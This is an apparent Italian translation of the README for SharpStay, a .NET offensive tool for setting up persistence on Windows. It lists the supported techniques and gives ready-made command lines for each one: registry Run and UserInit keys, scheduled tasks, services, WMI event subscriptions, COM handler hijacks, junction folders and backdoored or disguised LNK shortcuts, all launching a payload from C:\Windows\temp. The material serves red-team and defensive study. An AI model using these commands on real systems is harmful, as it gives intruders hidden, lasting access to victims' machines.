0xthirteen/sharpstayStrumento .NET per installare persistenza su Windows tramite chiavi di registro, attività pianificate, servizi, eventi WMI, dirottamenti COM e backdoor LNK, supportando contesti sia elevati che non elevati.
Per compilare, aprire il progetto in Visual Studio e compilare per il rilascio.
Chiavi di registro elevate
Chiave di registro UserInit elevata
Attività pianificata elevata
Creazione servizio elevata
Sottoscrizione evento WMI elevata
Chiave di registro InitMprLogonScript non elevata
Hijack del gestore COM dell'attività pianificata non elevato
Cartella junction non elevata
Varie: Aggiungi azione attività pianificata
Varie: Directory di avvio
Varie: Nuovo LNK
Varie: Backdoor LNK
Varie: Nomi attività
Varie: Elenca attività pianificate
Varie: Elenca servizi in esecuzione
Varie: Ottieni gestori COM attività pianificate
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true è un'opzione per ogni tipo di persistenza.
Parte di StayKit